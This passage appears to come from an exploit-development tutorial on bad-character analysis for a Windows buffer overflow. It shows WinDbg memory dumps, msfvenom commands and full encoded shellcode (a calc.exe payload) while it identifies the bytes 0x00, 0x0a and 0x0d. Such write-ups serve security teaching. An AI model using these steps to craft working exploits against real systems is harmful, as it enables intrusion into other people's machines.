0012fe14  20 d6 aa 00 80 ec aa 00-c8 fe 12 00 71 fb 41 00   ...........q.A.
0012fe24  48 c1 aa 00 08 d4 49 00-08 1f 14 00 78 28 a8 00  H.....I.....x(..
0012fe34  00 00 00 00 00 00 00 00-00 00 00 00              ............

From above we can already see "00"s. This is already a no no. Additionally we see that while '\x0a' can be found in the 3rd row of the raw shellcode in the script but it is not in the memory dump output. At this point we have two bad characters "\x00" and "\x0a"

Running msfvenom with the bad characters option, we get below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 --bad-chars '\x00\x0a'
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xba\xb3\x4e\x5e\xa8\xdb\xdd\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x31\x31\x50\x13\x83\xe8\xfc\x03\x50\xbc\xac\xab\x54\x2a\xb2"
"\x54\xa5\xaa\xd3\xdd\x40\x9b\xd3\xba\x01\x8b\xe3\xc9\x44\x27"
"\x8f\x9c\x7c\xbc\xfd\x08\x72\x75\x4b\x6f\xbd\x86\xe0\x53\xdc"
"\x04\xfb\x87\x3e\x35\x34\xda\x3f\x72\x29\x17\x6d\x2b\x25\x8a"
"\x82\x58\x73\x17\x28\x12\x95\x1f\xcd\xe2\x94\x0e\x40\x79\xcf"
"\x90\x62\xae\x7b\x99\x7c\xb3\x46\x53\xf6\x07\x3c\x62\xde\x56"
"\xbd\xc9\x1f\x57\x4c\x13\x67\x5f\xaf\x66\x91\x9c\x52\x71\x66"
"\xdf\x88\xf4\x7d\x47\x5a\xae\x59\x76\x8f\x29\x29\x74\x64\x3d"
"\x75\x98\x7b\x92\x0d\xa4\xf0\x15\xc2\x2d\x42\x32\xc6\x76\x10"
"\x5b\x5f\xd2\xf7\x64\xbf\xbd\xa8\xc0\xcb\x53\xbc\x78\x96\x39"
"\x43\x0e\xac\x0f\x43\x10\xaf\x3f\x2c\x21\x24\xd0\x2b\xbe\xef"
"\x95\xc4\xf4\xb2\xbf\x4c\x51\x27\x82\x10\x62\x9d\xc0\x2c\xe1"
"\x14\xb8\xca\xf9\x5c\xbd\x97\xbd\x8d\xcf\x88\x2b\xb2\x7c\xa8"
"\x79\xd1\xe3\x3a\xe1\x38\x86\xba\x80\x44";

Looking at the dump in memory again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0:000> d 0012fd64 l dc
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 ba b3 4e  ...............N
0012fd74  5e a8 db dd d9 74 24 f4-58 2b c9 b1 31 31 50 13  ^....t$.X+..11P.
0012fd84  83 e8 fc 03 50 bc ac ab-54 2a b2 54 a5 aa d3 dd  ....P...T*.T....
0012fd94  40 9b d3 ba 01 8b e3 c9-44 27 8f 9c 7c bc fd 08  @.......D'..|...
0012fda4  72 75 4b 6f bd 86 e0 53-dc 04 fb 87 3e 35 34 da  ruKo...S....>54.
0012fdb4  3f 72 29 17 6d 2b 25 8a-82 58 73 17 28 12 95 1f  ?r).m+%..Xs.(...
0012fdc4  cd e2 94 0e 40 79 cf 90-62 ae 7b 99 7c b3 46 53  ....@y..b.{.|.FS
0012fdd4  f6 07 3c 62 de 56 bd c9-1f 57 4c 13 67 5f af 66  ..<b.V...WL.g_.f
0012fde4  91 9c 52 71 66 df 88 f4-7d 47 5a ae 59 76 8f 29  ..Rqf...}GZ.Yv.)
0012fdf4  29 74 64 3d 75 98 7b 92-00 00 00 00 20 fe 12 00  )td=u.{..... ...
0012fe04  82 cd 48 00 00 00 00 00-00 00 00 00 00 00 00 00  ..H.............
0012fe14  20 d6 aa 00 80 ec aa 00-c8 fe 12 00 71 fb 41 00   ...........q.A.
0012fe24  48 c1 aa 00 08 d4 49 00-08 1f 14 00 78 28 a8 00  H.....I.....x(..
0012fe34  00 00 00 00 00 00 00 00-00 00 00 00              ............

At this point we don't see the "\x0d" which is in line 6 of the original shellcode in the memory dump. Time to regenerate the shellcode. This time we have "\x00", "\x0a" and "\x0d" as bad characters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 --bad-chars '\x00\x0a\x0d'
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xdb\xd6\xbd\x45\xe1\xbe\xfa\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x31\x83\xe8\xfc\x31\x68\x14\x03\x68\x51\x03\x4b\x06\xb1\x41"
"\xb4\xf7\x41\x26\x3c\x12\x70\x66\x5a\x56\x22\x56\x28\x3a\xce"
"\x1d\x7c\xaf\x45\x53\xa9\xc0\xee\xde\x8f\xef\xef\x73\xf3\x6e"
"\x73\x8e\x20\x51\x4a\x41\x35\x90\x8b\xbc\xb4\xc0\x44\xca\x6b"
"\xf5\xe1\x86\xb7\x7e\xb9\x07\xb0\x63\x09\x29\x91\x35\x02\x70"
"\x31\xb7\xc7\x08\x78\xaf\x04\x34\x32\x44\xfe\xc2\xc5\x8c\xcf"
"\x2b\x69\xf1\xe0\xd9\x73\x35\xc6\x01\x06\x4f\x35\xbf\x11\x94"
"\x44\x1b\x97\x0f\xee\xe8\x0f\xf4\x0f\x3c\xc9\x7f\x03\x89\x9d"
"\xd8\x07\x0c\x71\x53\x33\x85\x74\xb4\xb2\xdd\x52\x10\x9f\x86"
"\xfb\x01\x45\x68\x03\x51\x26\xd5\xa1\x19\xca\x02\xd8\x43\x80"
"\xd5\x6e\xfe\xe6\xd6\x70\x01\x56\xbf\x41\x8a\x39\xb8\x5d\x59"
"\x7e\x36\x14\xc0\xd6\xdf\xf1\x90\x6b\x82\x01\x4f\xaf\xbb\x81"
"\x7a\x4f\x38\x99\x0e\x4a\x04\x1d\xe2\x26\x15\xc8\x04\x95\x16"
"\xd9\x66\x78\x85\x81\x46\x1f\x2d\x23\x97"

Looking at the memory dump:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
0:000> d 0012fd64 l ef
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 db d6 bd  ................
0012fd74  45 e1 be fa d9 74 24 f4-58 2b c9 b1 31 83 e8 fc  E....t$.X+..1...
0012fd84  31 68 14 03 68 51 03 4b-06 b1 41 b4 f7 41 26 3c  1h..hQ.K..A..A&<
0012fd94  12 70 66 5a 56 22 56 28-3a ce 1d 7c af 45 53 a9  .pfZV"V(:..|.ES.
0012fda4  c0 ee de 8f ef ef 73 f3-6e 73 8e 20 51 4a 41 35  ......s.ns. QJA5
0012fdb4  90 8b bc b4 c0 44 ca 6b-f5 e1 86 b7 7e b9 07 b0  .....D.k....~...
0012fdc4  63 20 29 91 35 02 70 31-b7 c7 08 78 af 04 34 32  c ).5.p1...x..42
0012fdd4  44 fe c2 c5 8c cf 2b 69-f1 e0 d9 73 35 c6 01 06  D.....+i...s5...
0012fde4  4f 35 bf 11 94 44 1b 97-0f ee e8 0f f4 0f 3c c9  O5...D........<.
0012fdf4  7f 03 89 9d d8 07 0c 71-53 33 85 74 b4 b2 dd 52  .......qS3.t...R
0012fe04  10 9f 86 fb 01 45 68 03-51 26 d5 a1 19 ca 02 d8  .....Eh.Q&......
0012fe14  43 80 d5 6e fe e6 d6 70-01 56 bf 41 8a 39 b8 5d  C..n...p.V.A.9.]
0012fe24  59 7e 36 14 c0 d6 df f1-90 6b 82 01 4f af bb 81  Y~6......k..O...
0012fe34  7a 4f 38 99 0e 4a 04 1d-e2 26 15 c8 04 95 16 d9  zO8..J...&......
0012fe44  66 78 85 81 46 1f 2d 23-97 90 90 90 90 90 90     fx..F.-#.......


At this point it looks like we have a clean shellcode.

References:
http://www.primalsecurity.net/0x7-exploit-tutorial-bad-character-analysis/